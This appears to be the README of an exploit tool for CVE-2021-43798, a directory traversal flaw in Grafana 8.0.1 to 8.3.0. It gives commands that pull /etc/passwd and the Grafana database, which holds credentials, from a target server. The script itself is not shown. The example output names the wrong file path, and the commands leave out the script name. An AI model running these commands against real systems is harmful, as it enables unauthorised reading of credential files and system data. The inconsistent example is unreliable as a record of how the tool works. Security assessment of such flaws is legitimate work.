# CVE-2021-43798

This is a script to exploit CVE-2021-43798 a directory traversal vulnerability in Grafana versions from 8.0.1-beta1 through 8.3.0.

## Usage

To use this script simply supply the base URL of the target Grafana instance that you would like to exploit.

python3 --url http://localhost:3000 --file  /etc/passwd

This will write the output to stdout but if you'd like to write the output directly to disk instead you can do so with the `--output` flag

## Example

$ python3 --url http://localhost:3000 --file /var/lib/grafana/grafana.db --output ./grafana.db
[+] Target is vulnerable!
[+] Successfully wrote file to /etc/passwd

## Disclaimer

This script is for educational and security assessment purposes only and should not be used in any malicious way. The author of this script is not responsible for any misuse of this tool.

## References